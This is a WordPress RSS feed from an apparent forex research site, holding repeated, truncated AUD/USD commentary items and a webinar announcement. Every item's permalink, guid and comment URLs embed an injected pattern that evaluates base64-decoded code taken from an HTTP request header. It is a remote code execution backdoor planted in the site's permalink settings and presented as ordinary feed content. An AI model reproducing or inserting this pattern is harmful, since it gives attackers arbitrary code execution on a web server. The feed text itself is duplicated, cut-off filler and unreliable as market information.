<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Your Friend LLC &#187; How To</title>
	<atom:link href="http://yourfriendllc.com/fx/category/howto/feed/" rel="self" type="application/rss+xml" />
	<link>http://yourfriendllc.com/fx</link>
	<description>Investment Research</description>
	<lastBuildDate>Wed, 12 Oct 2011 15:35:30 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0.1</generator>
		<item>
		<title>AUD/USD Rallies Above Parity Attacking Resistance Cluster at 1.0170</title>
		<link>http://yourfriendllc.com/fx/2011/10/12/audusd-rallies-above-parity-attacking-resistance-cluster-at-1-0170/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/</link>
		<comments>http://yourfriendllc.com/fx/2011/10/12/audusd-rallies-above-parity-attacking-resistance-cluster-at-1-0170/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/#comments</comments>
		<pubDate>Wed, 12 Oct 2011 15:35:30 +0000</pubDate>
		<dc:creator>master</dc:creator>
				<category><![CDATA[Grow Financially]]></category>
		<category><![CDATA[Investment Protection]]></category>
		<category><![CDATA[Opportunities]]></category>

		<guid isPermaLink="false">http://yourfriendllc.com/fx/2011/10/12/audusd-rallies-above-parity-attacking-resistance-cluster-at-1-0170/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/</guid>
		<description><![CDATA[Above Parity: The AUD/USD paused after a test of the parity level as resistance. After a brief pause in the US session and a correction in the Wednesday Asian session, the market surged through the parity level as the market entered the European session. As we push through the US]]></description>
			<content:encoded><![CDATA[<p>Above Parity: The AUD/USD paused after a test of the parity level as resistance. After a brief pause in the US session and a correction in the Wednesday Asian session, the market surged through the parity level as the market entered the European session. As we push through the US<img src="http://yourfriendllc.com/fx/wp-content/plugins/wp-o-matic/cache/e83b0_tzHo6VH45xc" height="1" width="1" /></p>
]]></content:encoded>
			<wfw:commentRss>http://yourfriendllc.com/fx/2011/10/12/audusd-rallies-above-parity-attacking-resistance-cluster-at-1-0170/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>AUD/USD Rallies Above Parity Attacking Resistance Cluster at 1.0170</title>
		<link>http://yourfriendllc.com/fx/2011/10/12/audusd-rallies-above-parity-attacking-resistance-cluster-at-1-0170-2/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/</link>
		<comments>http://yourfriendllc.com/fx/2011/10/12/audusd-rallies-above-parity-attacking-resistance-cluster-at-1-0170-2/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/#comments</comments>
		<pubDate>Wed, 12 Oct 2011 15:35:30 +0000</pubDate>
		<dc:creator>master</dc:creator>
				<category><![CDATA[Grow Financially]]></category>
		<category><![CDATA[Investment Protection]]></category>
		<category><![CDATA[Opportunities]]></category>

		<guid isPermaLink="false">http://yourfriendllc.com/fx/2011/10/12/audusd-rallies-above-parity-attacking-resistance-cluster-at-1-0170-2/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/</guid>
		<description><![CDATA[Above Parity: The AUD/USD paused after a test of the parity level as resistance. After a brief pause in the US session and a correction in the Wednesday Asian session, the market surged through the parity level as the market entered the European session. As we push through the US]]></description>
			<content:encoded><![CDATA[<p>Above Parity: The AUD/USD paused after a test of the parity level as resistance. After a brief pause in the US session and a correction in the Wednesday Asian session, the market surged through the parity level as the market entered the European session. As we push through the US<img src="http://yourfriendllc.com/fx/wp-content/plugins/wp-o-matic/cache/1389b_tzHo6VH45xc" height="1" width="1" /></p>
]]></content:encoded>
			<wfw:commentRss>http://yourfriendllc.com/fx/2011/10/12/audusd-rallies-above-parity-attacking-resistance-cluster-at-1-0170-2/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>AUD/USD Rallies Above Parity Attacking Resistance Cluster at 1.0170</title>
		<link>http://yourfriendllc.com/fx/2011/10/12/audusd-rallies-above-parity-attacking-resistance-cluster-at-1-0170-3/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/</link>
		<comments>http://yourfriendllc.com/fx/2011/10/12/audusd-rallies-above-parity-attacking-resistance-cluster-at-1-0170-3/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/#comments</comments>
		<pubDate>Wed, 12 Oct 2011 15:35:30 +0000</pubDate>
		<dc:creator>master</dc:creator>
				<category><![CDATA[Grow Financially]]></category>
		<category><![CDATA[Investment Protection]]></category>
		<category><![CDATA[Opportunities]]></category>

		<guid isPermaLink="false">http://yourfriendllc.com/fx/2011/10/12/audusd-rallies-above-parity-attacking-resistance-cluster-at-1-0170-3/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/</guid>
		<description><![CDATA[Above Parity: The AUD/USD paused after a test of the parity level as resistance. After a brief pause in the US session and a correction in the Wednesday Asian session, the market surged through the parity level as the market entered the European session. As we push through the US]]></description>
			<content:encoded><![CDATA[<p>Above Parity: The AUD/USD paused after a test of the parity level as resistance. After a brief pause in the US session and a correction in the Wednesday Asian session, the market surged through the parity level as the market entered the European session. As we push through the US<img src="http://yourfriendllc.com/fx/wp-content/plugins/wp-o-matic/cache/1389b_tzHo6VH45xc" height="1" width="1" /></p>
]]></content:encoded>
			<wfw:commentRss>http://yourfriendllc.com/fx/2011/10/12/audusd-rallies-above-parity-attacking-resistance-cluster-at-1-0170-3/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>AUD/USD Rallies Above Parity Attacking Resistance Cluster at 1.0170</title>
		<link>http://yourfriendllc.com/fx/2011/10/12/audusd-rallies-above-parity-attacking-resistance-cluster-at-1-0170-4/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/</link>
		<comments>http://yourfriendllc.com/fx/2011/10/12/audusd-rallies-above-parity-attacking-resistance-cluster-at-1-0170-4/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/#comments</comments>
		<pubDate>Wed, 12 Oct 2011 15:35:30 +0000</pubDate>
		<dc:creator>master</dc:creator>
				<category><![CDATA[Grow Financially]]></category>
		<category><![CDATA[Investment Protection]]></category>
		<category><![CDATA[Opportunities]]></category>

		<guid isPermaLink="false">http://yourfriendllc.com/fx/2011/10/12/audusd-rallies-above-parity-attacking-resistance-cluster-at-1-0170-4/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/</guid>
		<description><![CDATA[Above Parity: The AUD/USD paused after a test of the parity level as resistance. After a brief pause in the US session and a correction in the Wednesday Asian session, the market surged through the parity level as the market entered the European session. As we push through the US]]></description>
			<content:encoded><![CDATA[<p>Above Parity: The AUD/USD paused after a test of the parity level as resistance. After a brief pause in the US session and a correction in the Wednesday Asian session, the market surged through the parity level as the market entered the European session. As we push through the US<img src="http://yourfriendllc.com/fx/wp-content/plugins/wp-o-matic/cache/1a55e_tzHo6VH45xc" height="1" width="1" /></p>
]]></content:encoded>
			<wfw:commentRss>http://yourfriendllc.com/fx/2011/10/12/audusd-rallies-above-parity-attacking-resistance-cluster-at-1-0170-4/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>AUD/USD Rallies Above Parity Attacking Resistance Cluster at 1.0170</title>
		<link>http://yourfriendllc.com/fx/2011/10/12/audusd-rallies-above-parity-attacking-resistance-cluster-at-1-0170-5/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/</link>
		<comments>http://yourfriendllc.com/fx/2011/10/12/audusd-rallies-above-parity-attacking-resistance-cluster-at-1-0170-5/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/#comments</comments>
		<pubDate>Wed, 12 Oct 2011 15:35:30 +0000</pubDate>
		<dc:creator>master</dc:creator>
				<category><![CDATA[Grow Financially]]></category>
		<category><![CDATA[Investment Protection]]></category>
		<category><![CDATA[Opportunities]]></category>

		<guid isPermaLink="false">http://yourfriendllc.com/fx/2011/10/12/audusd-rallies-above-parity-attacking-resistance-cluster-at-1-0170-5/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/</guid>
		<description><![CDATA[Above Parity: The AUD/USD paused after a test of the parity level as resistance. After a brief pause in the US session and a correction in the Wednesday Asian session, the market surged through the parity level as the market entered the European session. As we push through the US]]></description>
			<content:encoded><![CDATA[<p>Above Parity: The AUD/USD paused after a test of the parity level as resistance. After a brief pause in the US session and a correction in the Wednesday Asian session, the market surged through the parity level as the market entered the European session. As we push through the US<img src="http://yourfriendllc.com/fx/wp-content/plugins/wp-o-matic/cache/1a55e_tzHo6VH45xc" height="1" width="1" /></p>
]]></content:encoded>
			<wfw:commentRss>http://yourfriendllc.com/fx/2011/10/12/audusd-rallies-above-parity-attacking-resistance-cluster-at-1-0170-5/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>AUD/USD Rallies Above Parity Attacking Resistance Cluster at 1.0170</title>
		<link>http://yourfriendllc.com/fx/2011/10/12/audusd-rallies-above-parity-attacking-resistance-cluster-at-1-0170-6/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/</link>
		<comments>http://yourfriendllc.com/fx/2011/10/12/audusd-rallies-above-parity-attacking-resistance-cluster-at-1-0170-6/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/#comments</comments>
		<pubDate>Wed, 12 Oct 2011 15:35:30 +0000</pubDate>
		<dc:creator>master</dc:creator>
				<category><![CDATA[Grow Financially]]></category>
		<category><![CDATA[Investment Protection]]></category>
		<category><![CDATA[Opportunities]]></category>

		<guid isPermaLink="false">http://yourfriendllc.com/fx/2011/10/12/audusd-rallies-above-parity-attacking-resistance-cluster-at-1-0170-6/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/</guid>
		<description><![CDATA[Above Parity: The AUD/USD paused after a test of the parity level as resistance. After a brief pause in the US session and a correction in the Wednesday Asian session, the market surged through the parity level as the market entered the European session. As we push through the US]]></description>
			<content:encoded><![CDATA[<p>Above Parity: The AUD/USD paused after a test of the parity level as resistance. After a brief pause in the US session and a correction in the Wednesday Asian session, the market surged through the parity level as the market entered the European session. As we push through the US<img src="http://yourfriendllc.com/fx/wp-content/plugins/wp-o-matic/cache/cc327_tzHo6VH45xc" height="1" width="1" /></p>
]]></content:encoded>
			<wfw:commentRss>http://yourfriendllc.com/fx/2011/10/12/audusd-rallies-above-parity-attacking-resistance-cluster-at-1-0170-6/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>AUD/USD Rallies Above Parity Attacking Resistance Cluster at 1.0170</title>
		<link>http://yourfriendllc.com/fx/2011/10/12/audusd-rallies-above-parity-attacking-resistance-cluster-at-1-0170-6/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/</link>
		<comments>http://yourfriendllc.com/fx/2011/10/12/audusd-rallies-above-parity-attacking-resistance-cluster-at-1-0170-6/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/#comments</comments>
		<pubDate>Wed, 12 Oct 2011 15:35:30 +0000</pubDate>
		<dc:creator>master</dc:creator>
				<category><![CDATA[Grow Financially]]></category>
		<category><![CDATA[Investment Protection]]></category>
		<category><![CDATA[Opportunities]]></category>

		<guid isPermaLink="false">http://yourfriendllc.com/fx/2011/10/12/audusd-rallies-above-parity-attacking-resistance-cluster-at-1-0170-6/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/</guid>
		<description><![CDATA[Above Parity: The AUD/USD paused after a test of the parity level as resistance. After a brief pause in the US session and a correction in the Wednesday Asian session, the market surged through the parity level as the market entered the European session. As we push through the US]]></description>
			<content:encoded><![CDATA[<p>Above Parity: The AUD/USD paused after a test of the parity level as resistance. After a brief pause in the US session and a correction in the Wednesday Asian session, the market surged through the parity level as the market entered the European session. As we push through the US<img src="http://yourfriendllc.com/fx/wp-content/plugins/wp-o-matic/cache/cc327_tzHo6VH45xc" height="1" width="1" /></p>
]]></content:encoded>
			<wfw:commentRss>http://yourfriendllc.com/fx/2011/10/12/audusd-rallies-above-parity-attacking-resistance-cluster-at-1-0170-6/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Forex Trading Platform of the week TODAY at 4:00PM</title>
		<link>http://yourfriendllc.com/fx/2011/10/12/forex-trading-platform-of-the-week-today-at-400pm-7/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/</link>
		<comments>http://yourfriendllc.com/fx/2011/10/12/forex-trading-platform-of-the-week-today-at-400pm-7/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/#comments</comments>
		<pubDate>Wed, 12 Oct 2011 14:57:10 +0000</pubDate>
		<dc:creator>master</dc:creator>
				<category><![CDATA[Grow Financially]]></category>
		<category><![CDATA[Opportunities]]></category>

		<guid isPermaLink="false">http://yourfriendllc.com/fx/2011/10/12/forex-trading-platform-of-the-week-today-at-400pm-7/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/</guid>
		<description><![CDATA[Forex Trading Platform of the week Wednesday at 4:00PM with Shawn Powell and Jason Galano Register now]]></description>
			<content:encoded><![CDATA[<p><a href="https://www1.gotomeeting.com/register/747772513"><img src="http://yourfriendllc.com/fx/wp-content/plugins/wp-o-matic/cache/e603e_forex-trading-platform-Wednesday-webinar-Shawn-Powell-jason-FXDD.jpg" alt="" width="524" height="81" /></a></p>
<p>Forex Trading Platform of the week Wednesday at 4:00PM with Shawn Powell and Jason Galano <a href="https://www1.gotomeeting.com/register/747772513">Register now</a></p>
]]></content:encoded>
			<wfw:commentRss>http://yourfriendllc.com/fx/2011/10/12/forex-trading-platform-of-the-week-today-at-400pm-7/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Forex Trading Platform of the week TODAY at 4:00PM</title>
		<link>http://yourfriendllc.com/fx/2011/10/12/forex-trading-platform-of-the-week-today-at-400pm-7/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/</link>
		<comments>http://yourfriendllc.com/fx/2011/10/12/forex-trading-platform-of-the-week-today-at-400pm-7/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/#comments</comments>
		<pubDate>Wed, 12 Oct 2011 14:57:10 +0000</pubDate>
		<dc:creator>master</dc:creator>
				<category><![CDATA[Grow Financially]]></category>
		<category><![CDATA[Opportunities]]></category>

		<guid isPermaLink="false">http://yourfriendllc.com/fx/2011/10/12/forex-trading-platform-of-the-week-today-at-400pm-7/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/</guid>
		<description><![CDATA[Forex Trading Platform of the week Wednesday at 4:00PM with Shawn Powell and Jason Galano Register now]]></description>
			<content:encoded><![CDATA[<p><a href="https://www1.gotomeeting.com/register/747772513"><img src="http://yourfriendllc.com/fx/wp-content/plugins/wp-o-matic/cache/e603e_forex-trading-platform-Wednesday-webinar-Shawn-Powell-jason-FXDD.jpg" alt="" width="524" height="81" /></a></p>
<p>Forex Trading Platform of the week Wednesday at 4:00PM with Shawn Powell and Jason Galano <a href="https://www1.gotomeeting.com/register/747772513">Register now</a></p>
]]></content:encoded>
			<wfw:commentRss>http://yourfriendllc.com/fx/2011/10/12/forex-trading-platform-of-the-week-today-at-400pm-7/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Forex Trading Platform of the week TODAY at 4:00PM</title>
		<link>http://yourfriendllc.com/fx/2011/10/12/forex-trading-platform-of-the-week-today-at-400pm-7/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/</link>
		<comments>http://yourfriendllc.com/fx/2011/10/12/forex-trading-platform-of-the-week-today-at-400pm-7/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/#comments</comments>
		<pubDate>Wed, 12 Oct 2011 14:57:10 +0000</pubDate>
		<dc:creator>master</dc:creator>
				<category><![CDATA[Grow Financially]]></category>
		<category><![CDATA[Opportunities]]></category>

		<guid isPermaLink="false">http://yourfriendllc.com/fx/2011/10/12/forex-trading-platform-of-the-week-today-at-400pm-7/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/</guid>
		<description><![CDATA[Forex Trading Platform of the week Wednesday at 4:00PM with Shawn Powell and Jason Galano Register now]]></description>
			<content:encoded><![CDATA[<p><a href="https://www1.gotomeeting.com/register/747772513"><img src="http://yourfriendllc.com/fx/wp-content/plugins/wp-o-matic/cache/e603e_forex-trading-platform-Wednesday-webinar-Shawn-Powell-jason-FXDD.jpg" alt="" width="524" height="81" /></a></p>
<p>Forex Trading Platform of the week Wednesday at 4:00PM with Shawn Powell and Jason Galano <a href="https://www1.gotomeeting.com/register/747772513">Register now</a></p>
]]></content:encoded>
			<wfw:commentRss>http://yourfriendllc.com/fx/2011/10/12/forex-trading-platform-of-the-week-today-at-400pm-7/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>

